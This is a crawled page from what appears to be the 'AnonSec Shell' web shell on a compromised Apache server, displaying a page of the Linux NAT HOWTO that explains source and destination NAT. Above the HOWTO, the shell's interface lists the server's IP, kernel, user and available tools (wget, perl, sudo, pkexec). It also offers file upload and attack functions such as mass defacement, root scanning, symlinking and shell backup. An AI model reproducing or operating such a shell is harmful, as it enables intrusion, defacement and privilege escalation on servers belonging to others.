AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /usr/share/doc/iptables/html/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /usr/share/doc/iptables/html/NAT-HOWTO-3.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.69">
 <TITLE>Linux 2.4 NAT HOWTO: The Two Types of NAT</TITLE>
 <LINK HREF="NAT-HOWTO-4.html" REL=next>
 <LINK HREF="NAT-HOWTO-2.html" REL=previous>
 <LINK HREF="NAT-HOWTO.html#toc3" REL=contents>
</HEAD>
<BODY>
<A HREF="NAT-HOWTO-4.html">Next</A>
<A HREF="NAT-HOWTO-2.html">Previous</A>
<A HREF="NAT-HOWTO.html#toc3">Contents</A>
<HR>
<H2><A NAME="s3">3.</A> <A HREF="NAT-HOWTO.html#toc3">The Two Types of NAT</A></H2>

<P>I divide NAT into two different types: <B>Source NAT</B> (SNAT)
and <B>Destination NAT</B> (DNAT).</P>

<P>Source NAT is when you alter the source address of the first
packet: i.e. you are changing where the connection is coming from.
Source NAT is always done post-routing, just before the packet goes
out onto the wire.  Masquerading is a specialized form of SNAT.</P>

<P>Destination NAT is when you alter the destination address of the
first packet: i.e. you are changing where the connection is going to.
Destination NAT is always done before routing, when the packet first
comes off the wire.  Port forwarding, load sharing, and transparent
proxying are all forms of DNAT.</P>

<HR>
<A HREF="NAT-HOWTO-4.html">Next</A>
<A HREF="NAT-HOWTO-2.html">Previous</A>
<A HREF="NAT-HOWTO.html#toc3">Contents</A>
</BODY>
</HTML>

Anon7 - 2022
AnonSec Team